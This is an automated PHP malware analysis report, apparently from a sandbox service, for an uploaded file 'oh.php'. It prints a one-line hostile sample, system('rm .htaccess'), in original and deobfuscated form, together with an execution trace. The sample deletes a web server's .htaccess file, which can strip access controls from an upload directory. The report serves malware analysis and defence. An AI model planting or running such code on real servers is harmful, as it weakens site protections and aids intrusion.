PHP Malware Analysis

oh.php

md5: ae81f97e6211ad1457350e213afb0023

Jump to:

Screenshot


Attributes

Execution


Deobfuscated PHP code

<?php

system('rm .htaccess');

Execution traces

data/traces/ae81f97e6211ad1457350e213afb0023_trace-1676245156.5961.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:39:42.493922]
1	0	1	0.000198	393464
1	3	0	0.000245	393200	{main}	1		/var/www/html/uploads/oh.php	0	0
2	4	0	0.000261	393200	system	0		/var/www/html/uploads/oh.php	1	1	'rm .htaccess'
2	4	1	0.001727	393232
2	4	R			''
1	3	1	0.001775	393200
			0.001816	314200
TRACE END   [2023-02-12 21:39:42.495579]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php system('rm .htaccess');?>